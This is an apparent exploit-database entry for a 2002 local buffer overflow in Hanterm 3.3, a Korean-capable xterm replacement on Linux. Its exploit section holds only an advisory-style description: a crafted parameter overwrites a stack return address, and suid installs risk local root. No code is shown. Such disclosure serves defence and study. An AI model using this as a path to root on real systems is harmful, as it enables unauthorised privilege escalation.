Description: Hanterm 3.3 - Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2002-02-07
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/4050/info

Hanterm is a replacement for xterm which includes Hangul support, used for Korean language systems.

A buffer overflow error exists in hanterm. If it is called locally with a maliciously constructed parameter, it is possible to overflow a buffer. This can result in the return address of a stack frame being overwritten, and lead to the execution of arbitrary code.

As hanterm runs suid root on some systems, exploitation of this vulnerability may result in a local root compromise.
